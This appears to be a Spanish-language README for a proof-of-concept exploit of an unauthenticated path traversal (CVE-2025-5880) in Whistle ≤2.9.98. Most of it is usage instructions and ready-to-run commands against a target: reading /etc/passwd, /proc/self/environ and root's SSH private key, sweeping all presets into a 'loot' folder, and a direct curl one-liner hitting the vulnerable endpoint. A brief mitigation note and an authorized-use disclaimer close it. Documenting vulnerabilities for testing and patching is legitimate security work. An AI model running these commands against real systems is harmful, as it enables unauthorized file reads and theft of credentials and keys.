
Exploit de prueba de concepto para una vulnerabilidad de path traversal no autenticada en Whistle v2.9.98.
| Campo | Detalle |
|---|
| ID CVE | CVE-2025-5880 |
| CWE | CWE-22 (Path Traversal) |
| Software afectado | Whistle ≤ 2.9.98 |
| Endpoint afectado | /cgi-bin/sessions/get-temp-file |
| Vector de ataque | Red — no requiere autenticación |
| Impacto | Lectura arbitraria de archivos en el sistema de archivos del host |
El parámetro de consulta filename no se sanitiza antes de usarse para abrir un archivo en disco, lo que permite a un atacante escapar del directorio temporal previsto y leer cualquier archivo al que el proceso de Whistle tenga permisos de acceso (p. ej. /etc/passwd, /root/.ssh/id_rsa).
# Clone
git clone https://github.com/YourHandle/CVE-2025-5880
cd CVE-2025-5880
# No external dependencies
python3 CVE-2025-5880.py -u http://TARGET:8899 --preset passwd
python3 CVE-2025-5880.py [-h] -u URL [-f FILE] [--preset PRESET]
[--sweep] [-o OUTPUT] [--save-dir DIR]
[--timeout N]
| Flag | Descripción |
|---|---|
-u / --url | URL base del objetivo (p. ej. http://192.168.1.10:8899) |
-f / --file | Ruta de archivo arbitraria para leer |
--preset | Atajo con nombre: passwd shadow hosts id_rsa … |
--sweep | Iterar automáticamente por todos los presets |
-o / --output | Guardar el resultado en un archivo |
--save-dir | Directorio donde volcar el botín de --sweep |
--timeout | Tiempo de espera HTTP en segundos (por defecto 10) |
# Read /etc/passwd
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset passwd
# Grab root's SSH private key
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --preset id_rsa -o id_rsa.pem
# Read an arbitrary path
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 -f /proc/self/environ
# Sweep & save all presets
python3 CVE-2025-5880.py -u http://192.168.1.10:8899 --sweep --save-dir ./loot

# /etc/passwd
curl -s "http://TARGET:8899/cgi-bin/sessions/get-temp-file?filename=/etc/passwd" | jq -r '.value'
Actualice Whistle a una versión que valide y restrinja el parámetro filename al directorio de archivos temporales previsto. Aplique una normalización de rutas con lista blanca (p. ej. path.resolve + comprobación de prefijo) en el servidor.
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos.
El uso no autorizado contra sistemas que no le pertenecen o para los que no tiene permiso explícito para probar es ilegal y poco ético.
El autor no asume ninguna responsabilidad por el mal uso.